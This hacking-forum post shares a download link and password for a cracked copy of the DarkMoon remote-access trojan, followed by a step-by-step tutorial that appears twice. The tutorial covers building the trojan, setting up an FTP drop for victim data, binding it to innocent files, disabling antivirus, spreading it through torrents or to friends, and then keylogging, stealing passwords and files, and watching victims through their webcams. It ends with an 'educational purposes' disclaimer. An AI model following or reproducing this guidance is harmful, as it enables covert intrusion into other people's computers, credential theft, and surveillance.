Hey guys i decided to upload one of my personal favourite RATS, darkmoon its super easy to set up and even easier to play around with someones computer
http://www.#/?d=DPDG9Z8A
Pass: gl0nqqu
I have also found this great tutorial on CyberXtreme on how to use Darkmoon, I will post it in the tutorial section:
Hello guys, this is my second tutorial so bear with me again. I am going to explain how to use the program DarkMoon. DarkMoon is a RAT (Remote Administration Tool/Trojan), it essentially programs a backdoor in the computer you infect, so that you can do pretty much whatever you want. I will split this tutorial into two parts; creating the RAT and using the RAT. Right now lets beging.
Creating Your RAT
1) Download [url="http://www.#/?d=DPDG9Z8A"]Darkmoon, cracked by 0MFGN1NJ4[/url] (Pass: gl0nqqu)
2) Extract the file.
3) Run DarkMoon. Click the "Create Server" button towards the bottom-left of DarkMoon.
4) Now you will be confronted with the "Notifications" tab, where you will see USER, PASS, FTP etc. Fill in the relevant FTP server information.
For those who do not know how to configure DarkMoon to an FTP account, I will now explain how.
1) Go to [url="http://www.google.co.uk/url?q=http://www.drivehq.com/secure/FreeSignup.aspx%3Ffrom%3Dftp&ei=3wM4StOjGd62jAeovomkDQ&sa=X&oi=smap&resnum=1&ct=result&cd=5&usg=AFQjCNF2ZZ-fxabn5Ldj8J-VSMzSi-uWFw"]DriveHQ[/url] and sign up.
EDIT: I recommend using [url="http://www.cwahi.net/members/filemanager.php?cwlogin=1"]cwahi.net[/url] because DriveHQ doesn't seem to be working properly at the moment. Fill in the same details like you do with the DriveHQ instructions, except use ftp.cwahi.net
2) Login and click "My Storage" at the top of the screen (this is your FTP account)
3) Now Open DarkMoon back up again and enter the username and password you just used to register an account at DriveHQ.
4) In the FTP box, copy and paste the following without quotations "ftp.drivehq.com".
5) Leave DIR and PORT alone.
6) Click "Test" and then it will tell you if it worked. (Click on "My Storage" on your FTP account, and you should see something relevant to your computer has just been uploaded eg. ComputerName and IP address)
[img]http://photos-c.ak.fbcdn.net/hphotos-ak-snc1/hs118.snc1/5186_219913440025_507745025_7274570_773087_n.jpg[/img]
Now I will continue explaining how to finish the RAT off.
Binder-Icon - This will let you bind your RAT to another file (Eg. Attatch it to a picture, song, torrent etc.). And also let you place an icon on your virus to make it look less obvious, please visit [url="http://www.cyberxtreme.info/forum/index.php?showtopic=122782"]this link[/url], which will show you how to get any icon you want.
AV-FW Killer - This will halt any .exe files, using a pre-designed list of known antivirus/firewall exes.
General - Tick the "Melt Server" box and leave the rest alone. This will make the sever/RAT less visible.
MISC - I would leave most of this alone. You could scroll down and create an active keylogger using the FTP information you used earlier. Or you could decide to delay when your RAT will activate itself.
Once you have customized your RAT:
1) Chose the file extension (exe, scr, pif, com, bat).
2) Then click "Make Server" in the bottom-right of DarkMoon. (A box will pop-up in about 10 seconds that will tell you where the RAT has been saved, go to the location then send the file to another computer. The file is usually called server.exe)
And there you have it, you have created the RAT, now all you have to do is distribute it. Now you just have to get your RAT out there into the world wide web, so that you can infect others. Bind your RAT to files, and make a torrent of a popular file or something like that. Or just send it to your mate and mess with their heads. Be imaginative, think outisde the box.
Using Your RAT
Before we can mess with the computer we have infected, we must first connect to it. In the top-right hand side of DarkMoon you will see an IP box.
1) Login to DriveHQ and click "My Storage" (there should be some type of folder named "ComputerName/IP address". This was sent when the person first ran your RAT on their computer)
2) Enter the IP address you just acquired into the IP box (leave the port).
3) Click "Connect" (At the bottom of DarkMoon you will see a black rectangle, this will indicate whether you have successfully connected or not).
Now that you are connected we can look at controlling the infected computer. Look along the left-hand side of DarkMoon at the two long columns. These are the many options you can use on the infected's computer. I will now attempt to explain what each one will do.
Admin - You can play with the appearence settings of the infected computer, delete files on their computer, execute files.
Keylogger - You can log the keys the infected computer presses (eg. steal login passwords) and you can also send a keylog/macro to his computer.
RDC&Screen - I believe this will record what is on the users screen.
Windows - Shows windows programs running on the computer I believe.
MSGs - Send an error message to the user.
Passwords - Retrieve Internet Explorer passwords (might be outdate/not working).
File Manager - Navigate through the persons hardrive. Downloading their files, uploadings yours, deleting etc.
Chat - Literally chat with the person you have infected.
Services - All the services running on the infected.
Restrictions - Put restrictions into place that prevent the infected doing certain things.
Search Files - Search their hardrive for ceratin files.
FUN - Annoying little things you can do to the infected.
Processes - List of all the processes running on the computer.
Webcam - Use the persons webcam (if they have one) to see what they are doing.
Shell - not sure.
PC Info - List of all the PC's information.
Reg Editor - Access to the regedit.
Clients - Mange the infected computers you have.
Settings - General user interface settings.
Shut Down PC - literally shut down their PC/logoff etc.
You can do many things as you can see, and because you can run executables, and plant files in their hardrive you actually have many more options available to you if you know what you are doing. I hope this tutorial helps. Please comment and tell me if I can improve or any bits I have missed out
EDIT: In case you try to test the RAT on your own computer or another in your house, and you don't know how to remove it completely, then please visit this [url="http://www.cyberxtreme.info/forum/index.php?showtopic=110993"]link[/url], download the file, install it, update it, then let it scan, and just click the default option (the option already highlighted) for any problems it finds.
This information should only be used for educational purposes and I hold no responsibility for what any person/s do with the information.
Written By Hellboy for CyberXtreme
http://www.#/?d=DPDG9Z8A
Pass: gl0nqqu
I have also found this great tutorial on CyberXtreme on how to use Darkmoon, I will post it in the tutorial section:
Hello guys, this is my second tutorial so bear with me again. I am going to explain how to use the program DarkMoon. DarkMoon is a RAT (Remote Administration Tool/Trojan), it essentially programs a backdoor in the computer you infect, so that you can do pretty much whatever you want. I will split this tutorial into two parts; creating the RAT and using the RAT. Right now lets beging.
Creating Your RAT
1) Download [url="http://www.#/?d=DPDG9Z8A"]Darkmoon, cracked by 0MFGN1NJ4[/url] (Pass: gl0nqqu)
2) Extract the file.
3) Run DarkMoon. Click the "Create Server" button towards the bottom-left of DarkMoon.
4) Now you will be confronted with the "Notifications" tab, where you will see USER, PASS, FTP etc. Fill in the relevant FTP server information.
For those who do not know how to configure DarkMoon to an FTP account, I will now explain how.
1) Go to [url="http://www.google.co.uk/url?q=http://www.drivehq.com/secure/FreeSignup.aspx%3Ffrom%3Dftp&ei=3wM4StOjGd62jAeovomkDQ&sa=X&oi=smap&resnum=1&ct=result&cd=5&usg=AFQjCNF2ZZ-fxabn5Ldj8J-VSMzSi-uWFw"]DriveHQ[/url] and sign up.
EDIT: I recommend using [url="http://www.cwahi.net/members/filemanager.php?cwlogin=1"]cwahi.net[/url] because DriveHQ doesn't seem to be working properly at the moment. Fill in the same details like you do with the DriveHQ instructions, except use ftp.cwahi.net
2) Login and click "My Storage" at the top of the screen (this is your FTP account)
3) Now Open DarkMoon back up again and enter the username and password you just used to register an account at DriveHQ.
4) In the FTP box, copy and paste the following without quotations "ftp.drivehq.com".
5) Leave DIR and PORT alone.
6) Click "Test" and then it will tell you if it worked. (Click on "My Storage" on your FTP account, and you should see something relevant to your computer has just been uploaded eg. ComputerName and IP address)
[img]http://photos-c.ak.fbcdn.net/hphotos-ak-snc1/hs118.snc1/5186_219913440025_507745025_7274570_773087_n.jpg[/img]
Now I will continue explaining how to finish the RAT off.
Binder-Icon - This will let you bind your RAT to another file (Eg. Attatch it to a picture, song, torrent etc.). And also let you place an icon on your virus to make it look less obvious, please visit [url="http://www.cyberxtreme.info/forum/index.php?showtopic=122782"]this link[/url], which will show you how to get any icon you want.
AV-FW Killer - This will halt any .exe files, using a pre-designed list of known antivirus/firewall exes.
General - Tick the "Melt Server" box and leave the rest alone. This will make the sever/RAT less visible.
MISC - I would leave most of this alone. You could scroll down and create an active keylogger using the FTP information you used earlier. Or you could decide to delay when your RAT will activate itself.
Once you have customized your RAT:
1) Chose the file extension (exe, scr, pif, com, bat).
2) Then click "Make Server" in the bottom-right of DarkMoon. (A box will pop-up in about 10 seconds that will tell you where the RAT has been saved, go to the location then send the file to another computer. The file is usually called server.exe)
And there you have it, you have created the RAT, now all you have to do is distribute it. Now you just have to get your RAT out there into the world wide web, so that you can infect others. Bind your RAT to files, and make a torrent of a popular file or something like that. Or just send it to your mate and mess with their heads. Be imaginative, think outisde the box.
Using Your RAT
Before we can mess with the computer we have infected, we must first connect to it. In the top-right hand side of DarkMoon you will see an IP box.
1) Login to DriveHQ and click "My Storage" (there should be some type of folder named "ComputerName/IP address". This was sent when the person first ran your RAT on their computer)
2) Enter the IP address you just acquired into the IP box (leave the port).
3) Click "Connect" (At the bottom of DarkMoon you will see a black rectangle, this will indicate whether you have successfully connected or not).
Now that you are connected we can look at controlling the infected computer. Look along the left-hand side of DarkMoon at the two long columns. These are the many options you can use on the infected's computer. I will now attempt to explain what each one will do.
Admin - You can play with the appearence settings of the infected computer, delete files on their computer, execute files.
Keylogger - You can log the keys the infected computer presses (eg. steal login passwords) and you can also send a keylog/macro to his computer.
RDC&Screen - I believe this will record what is on the users screen.
Windows - Shows windows programs running on the computer I believe.
MSGs - Send an error message to the user.
Passwords - Retrieve Internet Explorer passwords (might be outdate/not working).
File Manager - Navigate through the persons hardrive. Downloading their files, uploadings yours, deleting etc.
Chat - Literally chat with the person you have infected.
Services - All the services running on the infected.
Restrictions - Put restrictions into place that prevent the infected doing certain things.
Search Files - Search their hardrive for ceratin files.
FUN - Annoying little things you can do to the infected.
Processes - List of all the processes running on the computer.
Webcam - Use the persons webcam (if they have one) to see what they are doing.
Shell - not sure.
PC Info - List of all the PC's information.
Reg Editor - Access to the regedit.
Clients - Mange the infected computers you have.
Settings - General user interface settings.
Shut Down PC - literally shut down their PC/logoff etc.
You can do many things as you can see, and because you can run executables, and plant files in their hardrive you actually have many more options available to you if you know what you are doing. I hope this tutorial helps. Please comment and tell me if I can improve or any bits I have missed out
EDIT: In case you try to test the RAT on your own computer or another in your house, and you don't know how to remove it completely, then please visit this [url="http://www.cyberxtreme.info/forum/index.php?showtopic=110993"]link[/url], download the file, install it, update it, then let it scan, and just click the default option (the option already highlighted) for any problems it finds.
This information should only be used for educational purposes and I hold no responsibility for what any person/s do with the information.
Written By Hellboy for CyberXtreme
